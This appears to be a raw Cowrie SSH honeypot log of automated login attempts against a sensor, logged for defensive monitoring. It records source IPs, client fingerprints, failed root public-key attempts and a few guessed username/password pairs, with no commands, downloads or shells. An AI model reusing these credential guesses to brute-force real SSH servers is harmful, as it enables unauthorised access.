{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":51926,"dst_ip":"159.203.135.109","dst_port":22,"session":"882566c2b0f6","protocol":"ssh","message":"New connection: 45.148.10.121:51926 (159.203.135.109:22) [session: 882566c2b0f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:15.387870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:15.404625Z","src_ip":"45.148.10.121","session":"882566c2b0f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:15.499631Z","src_ip":"45.148.10.121","session":"882566c2b0f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.223.54.21","src_port":53288,"dst_ip":"10.17.0.5","dst_port":22,"session":"a578fbed78ef","protocol":"ssh","message":"New connection: 163.223.54.21:53288 (10.17.0.5:22) [session: a578fbed78ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:29.730960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:29.736198Z","src_ip":"163.223.54.21","session":"a578fbed78ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:29.946562Z","src_ip":"163.223.54.21","session":"a578fbed78ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:db:fe:bf:32:82:10:81:7c:02:e7:f9:ac:e5:f0:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+tAcW4CArMVitPV2kQwoU20FtlUuaIVDgTMSYxauugkOoK2SqYeDwi3t+0lF2Z5zH4ohc2AeBS2FwFAB2NdD8cfWAFrMDtKRSPd1frARYAPuxeOZ9KysY4bOhzxYqsEiUCg0OGoJaYsEQHBbvmUYdXTvpxZQODgxHzAhvYKM5NZyu0/qs4qdNnmo1cOOY9e8k0K17cgmgzGquUTGa6ly69caN6Y9PZDgvRgLdblSK1/ziHHjd7XAfonJQyO3Lx+qrcqJh6LB71odAcHsF5t/u4YfvalA6LGwVWug94G8wtDpLVPvB1pTxOQOyjzv80tJZpG2qBmxle5wgxhavxSnx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:db:fe:bf:32:82:10:81:7c:02:e7:f9:ac:e5:f0:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:30.975611Z","src_ip":"163.223.54.21","session":"a578fbed78ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:db:fe:bf:32:82:10:81:7c:02:e7:f9:ac:e5:f0:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+tAcW4CArMVitPV2kQwoU20FtlUuaIVDgTMSYxauugkOoK2SqYeDwi3t+0lF2Z5zH4ohc2AeBS2FwFAB2NdD8cfWAFrMDtKRSPd1frARYAPuxeOZ9KysY4bOhzxYqsEiUCg0OGoJaYsEQHBbvmUYdXTvpxZQODgxHzAhvYKM5NZyu0/qs4qdNnmo1cOOY9e8k0K17cgmgzGquUTGa6ly69caN6Y9PZDgvRgLdblSK1/ziHHjd7XAfonJQyO3Lx+qrcqJh6LB71odAcHsF5t/u4YfvalA6LGwVWug94G8wtDpLVPvB1pTxOQOyjzv80tJZpG2qBmxle5wgxhavxSnx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:30.989034Z","src_ip":"163.223.54.21","session":"a578fbed78ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:98:68:a1:7d:48:b5:ed:d3:71:38:ff:57:38:de:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKSflcwE/HU1WlTK6frujiUHtovhv577Z0jQLsiXjJXgXBTD0vWile2PyHOEqJv275SUE5ABBWnl2S9YDxVC3og1HhSUh6ouWyG1QIeYEHirrRNxR6oKmPfsAbH6HJ9QZoPej5o/a25Mw6ua80BEnQSoz2kDn9aeeIHparlI3GWNwHM/rrItwKBulKuboyEp27vktBYbuAE4zjSqFSKQzlku67v7/STbgsV/VEz3dCi06MGq4yMocss/F7RpU290zEzJkHteJYEdSqi+stPmLYHVZoTc1DqjWJN0XmC2bheITbDfs/JhiV4WX2HDZ6i+QiCMWuYbzcj3XvLamKtjxzoZ1hgRM7UMHEyfAeLSfRwIQlPPOQsugus+7vaGRpI60aplHSsMYE9Gp959KDO7aoaerVQ6c/LYS5724a5t5+fHZEzYpxRe16r5GaK3fv+ME0NInLGQornn4fkYXK5mFUmv6Od3R+NZ2qd2iCgIrOoSDHYC0Ewj61BWfXY+APcpO+cT1dx9F0iwW1twEJjTKJR+vHcVlgMxLity9hWMr/Hxj27d2kKCvQkrSoB0Us8VIv485TXLrlXf94yk/2hd6AFF0r0gsw4Cfs8BSyMjf2s5+l1DMQqiFu9/wm8DXkqtFTTDfQIhS9yMwCRLdX/mR8ilDF2QewGDWa5pIhnT+wjQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:98:68:a1:7d:48:b5:ed:d3:71:38:ff:57:38:de:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:31.198677Z","src_ip":"163.223.54.21","session":"a578fbed78ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:98:68:a1:7d:48:b5:ed:d3:71:38:ff:57:38:de:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKSflcwE/HU1WlTK6frujiUHtovhv577Z0jQLsiXjJXgXBTD0vWile2PyHOEqJv275SUE5ABBWnl2S9YDxVC3og1HhSUh6ouWyG1QIeYEHirrRNxR6oKmPfsAbH6HJ9QZoPej5o/a25Mw6ua80BEnQSoz2kDn9aeeIHparlI3GWNwHM/rrItwKBulKuboyEp27vktBYbuAE4zjSqFSKQzlku67v7/STbgsV/VEz3dCi06MGq4yMocss/F7RpU290zEzJkHteJYEdSqi+stPmLYHVZoTc1DqjWJN0XmC2bheITbDfs/JhiV4WX2HDZ6i+QiCMWuYbzcj3XvLamKtjxzoZ1hgRM7UMHEyfAeLSfRwIQlPPOQsugus+7vaGRpI60aplHSsMYE9Gp959KDO7aoaerVQ6c/LYS5724a5t5+fHZEzYpxRe16r5GaK3fv+ME0NInLGQornn4fkYXK5mFUmv6Od3R+NZ2qd2iCgIrOoSDHYC0Ewj61BWfXY+APcpO+cT1dx9F0iwW1twEJjTKJR+vHcVlgMxLity9hWMr/Hxj27d2kKCvQkrSoB0Us8VIv485TXLrlXf94yk/2hd6AFF0r0gsw4Cfs8BSyMjf2s5+l1DMQqiFu9/wm8DXkqtFTTDfQIhS9yMwCRLdX/mR8ilDF2QewGDWa5pIhnT+wjQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:31.203315Z","src_ip":"163.223.54.21","session":"a578fbed78ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:5e:e5:86:93:c9:ef:9c:38:88:75:d4:0c:cd:50:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9QjuWT7Z6yl4y34iWIrT4zYPUN39h7kwM2v/bEnD1GBCmGquSg32ydFXWEcDDGYTO8jxU2YffCjidTS3O0BoQpI0gcfg6kR/5fUJA0pYPFImFjgvXgaNE4AcPc+ceZYkIjlCRqqDUOOcyet4GF8FyBuxqrA8keBhWcB9pNH9oykV1fJ+qfC+xbITGuKrSinNfEQYB6pEC1b1Z3MEueAMfihWBEhN6Ysvg3Ln1db3U0muxkntCGitpA6T8QtK/3JnH04hCsU+nH+D+y2QuC0UvnPMRQieFAp79X9v0l1HaCujqnNUFyUNxadZN6GvTCviUyHpSc0JzkX5kHIVLXGCnlnPjTooLTxvOJZWFqbsRQ63so/C0M2UmW3fNfngRkoMfArtwuakvlgQ7WLTezrYLEDu1uSmLjvln9OzkPI1MBkW96XWL+JMfjj26wd5I+9SE9Sg6tANpA1J1dO77CcGFCOalaqTDVP8ixwfwFokyVPbFOLTrP4QkSzJ/Fm74GPZrEiLbD4zHb+DX6cqaWRDOid4+0A32mcgrisaJlyRkZjouDQBgipDxneRxjpHVDJVkBaG21r0QIscCkmm3nPfU5GEBcqHziO/BPa6SMLnY3lCg3nPNZxgzvxEW+F3LBCVYv+Gx8P/Ms3Vc9Op/DuuDeeeKlJ9c7INbOfKHYXzZtQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:5e:e5:86:93:c9:ef:9c:38:88:75:d4:0c:cd:50:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:31.414271Z","src_ip":"163.223.54.21","session":"a578fbed78ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:5e:e5:86:93:c9:ef:9c:38:88:75:d4:0c:cd:50:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9QjuWT7Z6yl4y34iWIrT4zYPUN39h7kwM2v/bEnD1GBCmGquSg32ydFXWEcDDGYTO8jxU2YffCjidTS3O0BoQpI0gcfg6kR/5fUJA0pYPFImFjgvXgaNE4AcPc+ceZYkIjlCRqqDUOOcyet4GF8FyBuxqrA8keBhWcB9pNH9oykV1fJ+qfC+xbITGuKrSinNfEQYB6pEC1b1Z3MEueAMfihWBEhN6Ysvg3Ln1db3U0muxkntCGitpA6T8QtK/3JnH04hCsU+nH+D+y2QuC0UvnPMRQieFAp79X9v0l1HaCujqnNUFyUNxadZN6GvTCviUyHpSc0JzkX5kHIVLXGCnlnPjTooLTxvOJZWFqbsRQ63so/C0M2UmW3fNfngRkoMfArtwuakvlgQ7WLTezrYLEDu1uSmLjvln9OzkPI1MBkW96XWL+JMfjj26wd5I+9SE9Sg6tANpA1J1dO77CcGFCOalaqTDVP8ixwfwFokyVPbFOLTrP4QkSzJ/Fm74GPZrEiLbD4zHb+DX6cqaWRDOid4+0A32mcgrisaJlyRkZjouDQBgipDxneRxjpHVDJVkBaG21r0QIscCkmm3nPfU5GEBcqHziO/BPa6SMLnY3lCg3nPNZxgzvxEW+F3LBCVYv+Gx8P/Ms3Vc9Op/DuuDeeeKlJ9c7INbOfKHYXzZtQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:31.418323Z","src_ip":"163.223.54.21","session":"a578fbed78ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:f8:59:ab:92:35:ab:28:dc:46:ec:33:cb:5c:3b:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCYgnZiD/8g6Ty1V9vJKgyzvR+O7/qM3k3Wj9BjQWJhzVzyZm76pF53O8BfbEyEIW3oM/k+/5CwHFxtrB4X6LTeaY3D2wBJrUPfWHaJcEGi60ATJGcNXGL1EmYIPHH3SEGEuC8xH4aY8YNBShcV+SGMF3Lf1i67wX/6ZiCuccEs6dFh+136lXzn4yt5ujPB28f0x+lXLGBweItvtt58Wg7q7DphifReN1vxYnlHJGBZTyAexaHDeaNqnTeOcEKKAyJKKwaceTvTrizScAKUJmP2fL54OWj+Ym09SflpEpEiNZxkWPql4I31UD8A9c9XZkQkWeAMSipxaGFp3AT2Xwgs+4ipT0oVGo/cWdd8aJPDQATZGaDcqyW6PIFQdlAHs/G1x/NnOnUBuVA0bEWKocqY9fxLdV7MsvfUJn/zjL8VioxnDr8YSNvPFCVRaH0uG71eGfhQ5X12GjPY5FXx7ibUiIEM53DjpuXazY9jxhzkkb+8Ju5RvJdzzcgOgZlUuCtSOoEFVtScsilH0qokcrkokvintuhJyO6svdJZy843AgJszVjSMQH6d2Y/Pq3nr81y1hoWUfj1QSwHLr/ASmlzFfXiTrXTPlebTnZsx90aU5oxbmacvNbA8IQxJe89FwA0OF8Qh/Akbv9DfD6/EMhiDqjBeGcmJ6Yn5RVFL9QETQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:f8:59:ab:92:35:ab:28:dc:46:ec:33:cb:5c:3b:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:31.632518Z","src_ip":"163.223.54.21","session":"a578fbed78ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:f8:59:ab:92:35:ab:28:dc:46:ec:33:cb:5c:3b:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCYgnZiD/8g6Ty1V9vJKgyzvR+O7/qM3k3Wj9BjQWJhzVzyZm76pF53O8BfbEyEIW3oM/k+/5CwHFxtrB4X6LTeaY3D2wBJrUPfWHaJcEGi60ATJGcNXGL1EmYIPHH3SEGEuC8xH4aY8YNBShcV+SGMF3Lf1i67wX/6ZiCuccEs6dFh+136lXzn4yt5ujPB28f0x+lXLGBweItvtt58Wg7q7DphifReN1vxYnlHJGBZTyAexaHDeaNqnTeOcEKKAyJKKwaceTvTrizScAKUJmP2fL54OWj+Ym09SflpEpEiNZxkWPql4I31UD8A9c9XZkQkWeAMSipxaGFp3AT2Xwgs+4ipT0oVGo/cWdd8aJPDQATZGaDcqyW6PIFQdlAHs/G1x/NnOnUBuVA0bEWKocqY9fxLdV7MsvfUJn/zjL8VioxnDr8YSNvPFCVRaH0uG71eGfhQ5X12GjPY5FXx7ibUiIEM53DjpuXazY9jxhzkkb+8Ju5RvJdzzcgOgZlUuCtSOoEFVtScsilH0qokcrkokvintuhJyO6svdJZy843AgJszVjSMQH6d2Y/Pq3nr81y1hoWUfj1QSwHLr/ASmlzFfXiTrXTPlebTnZsx90aU5oxbmacvNbA8IQxJe89FwA0OF8Qh/Akbv9DfD6/EMhiDqjBeGcmJ6Yn5RVFL9QETQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:31.637746Z","src_ip":"163.223.54.21","session":"a578fbed78ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:0f:7e:56:38:3c:8b:00:49:b2:24:fa:dd:01:83:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZFYph0CHMJxdTNWOQVLwMHq+p66zgyQsMyKw7ZhOo+pxCvRzPJyoW6xB81EsLU9wi1/qNv4i2CR7+4zFCrkmMAHYJu+fDxtOq54T9OipxWuh/aGkjQS5JwT263QcGyFxQrJeBF+rJlDJw/lbYHXZY0yZIrtr7QWPUiOpYnpYYnNX4Djkn3iNilhsCIgmOnr4kzK81ZGczBvCgLQuO+gJNxaBwbMc0jSQD3iX7wqQLxSgNHG0rkgShBGRNNpG2ArNP6uVdCkpyC+/zpje0iK8bjCGpnCRR8pfnaon4Oltyj0CzYI56HvTjLDlWjQyH0+EraTShIT6DqWIzUfwVTjjUuEp7sW6rGUwTPzlEXpMFo+eNcXg3Qm9rGDpxNNh8YwSe7tyUf4LYJ/QQ5D9rOoTbxrdJnAr11jgDwfEDe9VECsvYnKrxp5/8C08pRANH5aHeq0FQh7vjDlSoDMsbOHCVvV4wFEF/iHak+3Gg5cvLv/W1e0U987oxK21H1ILOvfUh2UjjFzpXbYf8HwJESK95+H5upQBm5Qk/SrJTQE6c3k0mQTKhCw92WP2SBFwyMGfALlw7JjUaXg22+NS0MYzXfusSVLNuLe/2azPRovog78K8fg++jQv1wWC0SBKN1ib+d59e7qHzRcqi6JY1TiPWQxWkkHVPbrMgxJHbcKkV+w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:0f:7e:56:38:3c:8b:00:49:b2:24:fa:dd:01:83:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:31.849320Z","src_ip":"163.223.54.21","session":"a578fbed78ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:0f:7e:56:38:3c:8b:00:49:b2:24:fa:dd:01:83:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZFYph0CHMJxdTNWOQVLwMHq+p66zgyQsMyKw7ZhOo+pxCvRzPJyoW6xB81EsLU9wi1/qNv4i2CR7+4zFCrkmMAHYJu+fDxtOq54T9OipxWuh/aGkjQS5JwT263QcGyFxQrJeBF+rJlDJw/lbYHXZY0yZIrtr7QWPUiOpYnpYYnNX4Djkn3iNilhsCIgmOnr4kzK81ZGczBvCgLQuO+gJNxaBwbMc0jSQD3iX7wqQLxSgNHG0rkgShBGRNNpG2ArNP6uVdCkpyC+/zpje0iK8bjCGpnCRR8pfnaon4Oltyj0CzYI56HvTjLDlWjQyH0+EraTShIT6DqWIzUfwVTjjUuEp7sW6rGUwTPzlEXpMFo+eNcXg3Qm9rGDpxNNh8YwSe7tyUf4LYJ/QQ5D9rOoTbxrdJnAr11jgDwfEDe9VECsvYnKrxp5/8C08pRANH5aHeq0FQh7vjDlSoDMsbOHCVvV4wFEF/iHak+3Gg5cvLv/W1e0U987oxK21H1ILOvfUh2UjjFzpXbYf8HwJESK95+H5upQBm5Qk/SrJTQE6c3k0mQTKhCw92WP2SBFwyMGfALlw7JjUaXg22+NS0MYzXfusSVLNuLe/2azPRovog78K8fg++jQv1wWC0SBKN1ib+d59e7qHzRcqi6JY1TiPWQxWkkHVPbrMgxJHbcKkV+w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:31.853502Z","src_ip":"163.223.54.21","session":"a578fbed78ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:32.064745Z","src_ip":"163.223.54.21","session":"a578fbed78ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":33036,"dst_ip":"10.17.0.5","dst_port":22,"session":"78603474e202","protocol":"ssh","message":"New connection: 80.94.92.184:33036 (10.17.0.5:22) [session: 78603474e202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:44.776641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:44.903200Z","src_ip":"80.94.92.184","session":"78603474e202","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:44.908328Z","src_ip":"80.94.92.184","session":"78603474e202","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":39344,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dc63ad21227","protocol":"ssh","message":"New connection: 43.128.102.61:39344 (10.17.0.5:22) [session: 5dc63ad21227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:44.932135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:44.937023Z","src_ip":"43.128.102.61","session":"5dc63ad21227","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:45.175131Z","src_ip":"43.128.102.61","session":"5dc63ad21227","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv@123","message":"login attempt [solv/solv@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:45.607894Z","src_ip":"80.94.92.184","session":"78603474e202","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12151215","message":"login attempt [root/12151215] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:46.159109Z","src_ip":"43.128.102.61","session":"5dc63ad21227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:46.796791Z","src_ip":"80.94.92.184","session":"78603474e202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:47.400580Z","src_ip":"43.128.102.61","session":"5dc63ad21227","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":38680,"dst_ip":"10.17.0.5","dst_port":22,"session":"d262ac3f4dab","protocol":"ssh","message":"New connection: 181.188.176.245:38680 (10.17.0.5:22) [session: d262ac3f4dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:57.208629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:57.214555Z","src_ip":"181.188.176.245","session":"d262ac3f4dab","protocol":"ssh"}
